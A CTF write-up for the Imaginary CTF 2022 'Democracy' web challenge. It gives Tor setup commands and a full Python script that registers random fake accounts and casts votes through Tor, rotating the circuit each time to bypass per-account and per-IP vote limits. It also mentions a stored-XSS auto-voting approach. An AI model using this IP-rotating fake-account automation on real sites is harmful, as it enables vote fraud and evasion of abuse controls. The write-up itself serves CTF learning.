Imaginary CTF 2022: Democracy Unique Solution Writeup (Web)

Yusuf Bashir
5 min readJul 19, 2022

--

Okay, so this challenge got shut down during the CTF (probably because the website kept breaking due to everyone attacking it), so I didn’t think to take screenshots demonstrating my unique solution. I apologize for that. If they end up releasing the website source code, I’ll do a demonstration. However, the solution is so cool (to me at least) that I just feel the need to share it right now!

Challenge Description

Challenge Explanation

So, the website consisted of a register page, a login page, a home page, and an info page for every user where you could vote for them. The way to get the flag was to have the account with the most votes in the current round, which would last a few minutes. If an account you made had the most votes, you could see the flag link on your account homepage.

The Manual Solution (Dumb) and the Intended Solution (Stored XSS)

Obviously, the solution is to make an account and vote for yourself over and over, right? Well, it’s never that simple, is it? The catch was that once you voted, you could not vote with the same account or IP address again. Now one solution to the challenge would be to manually make a new account on a TOR connection and vote for a “main account” you’ve made, and then reset the connection to get a new IP address. You could potentially do this multiple times within the round and win, but your success rate would be low and it would be a lot of tedious, slow, and manual (who the heck does things manually) work. Apparently, one of my teammates said that the actual solution was to exploit the stored XSS vulnerability in the main page where the voting leaderboard for the round was. Exploiting this vulnerability made visitors of the main page automatically vote for your account. The problem with this exploit, though, was that if people who had already visited the main page and voted were to visit it with the same IP address again, (even in a new account) the XSS would fire off, but the vote wouldn’t count. This wouldn’t be an issue if 100 players were all doing this challenge at the same time, but since only 10-ish people were attempting this challenge in a round, XSS exploiters only managed to reach about 9 to 11 votes (rarely more).

The Unique Solution

So, here’s what I thought: If all I need to do is change my IP address and create a new account every time I vote, then I could connect TOR to python with the stemmodule made by the TOR developers. Apparently, some other people tried this, but it wasn’t working because they tried to automate it with proxychains and curl, which (as far as I know) doesn’t have the functionality to save session cookies. The requests module does though, and combining that with the stem module gives us the solution.

Tor Configuration Steps

The website I used for instructions is here.

First, I downloaded tor with the apt-get command on my kali linux machine:

sudo apt-get update && sudo apt-get install tor

Then, I opened my torrc config file:

sudo nano /etc/tor/torrc

Next, I uncommented the following lines:

#ControlPort 9051
#CookieAuthentication 1

Uncommenting the first line allowed TOR to run a controller on port 9051, but I would still route my connections through port 9050 using the proxy option in the requests module. Uncommenting the second line allowed me to authenticate with a cookie instead of having to enter a password.

Finally, I started the tor service on my Kali Linux machine:

sudo service tor start

And the configuration was done!

The Automation Code

I used this source to figure out how to reset the TOR circuit with the stem module.

Obviously, I had to first install the stem module:

pip install stem

Finally, the code:

from stem import Signal
from stem.control import Controller
import requests
import random
import string
import time
CHARS = string.ascii_letters + string.digitsdef get_random_string(length):
# choose from all lowercase letter
result_str = ''.join(random.choice(CHARS) for i in range(length))
return result_str
def get_tor_session():
session = requests.session()
# Tor uses the 9050 port as the default socks port
session.proxies = {'http': 'socks5://127.0.0.1:9050',
'https': 'socks5://127.0.0.1:9050'}
return session
for i in range(15):
s = get_tor_session()
s.post("http://chal.imaginaryctf.org:1339/register", data={"user": f"{get_random_string(5)}", "pass": f"{get_random_string(5)}"})
vote = s.get("http://chal.imaginaryctf.org:1339/vote/9926a39e3fde47ab9aee5a69c3e76858")
print(vote.content)
with Controller.from_port(port = 9051) as controller:
controller.authenticate()
controller.signal(Signal.NEWNYM)

time.sleep(5)

Code Explanation

I first define a get_random_string(length)function to create random strings, which I can use as usernames and passwords for new fake accounts. Then, I create a get_tor_session() function to create a requests.Session() that is using TOR’s default socks port as a proxy for all requests. Next, I use a for-loop (set to 15, which will give me 15 votes on my main account, but you can use any number for as many votes as you want) to create a TOR session, send a POST request to create an account (account session cookie stays preserved for the session), and send a GET request to the voting page for my main account (9926a39e3fde47ab9aee5a69c3e76858 was the ID for that account) where I’m collecting all the votes. Finally, I authenticate to the TOR controller (port 9051) and reset the TOR connection to receive a new IP before the loop starts over again.

Conclusion

So yeah, I think this was a cool solution that got me 35+ votes. I obviously could’ve gotten more (100+) if I wanted to but I just stopped the script because I didn’t want to unnecessarily keep resetting the TOR circuit. Once again, I apologize for not providing any pictures of the challenge website or of my code actually working on the website. Like I said before, the challenge was shut-down mid-CTF. If they end up releasing the source code for the website, then I’ll gladly do a demonstration with pictures and all that good stuff. Let’s hope they release the source code!

I’d love to hear your thoughts about this solution in the comment section. Consider leaving a thumbs-up and subscribe for more writeups!

Thanks for reading!

--

--

Yusuf Bashir
Yusuf Bashir

Written by Yusuf Bashir

Tryhard security researcher, Cybersecurity major, CTF player, and aspiring pentester.

No responses yet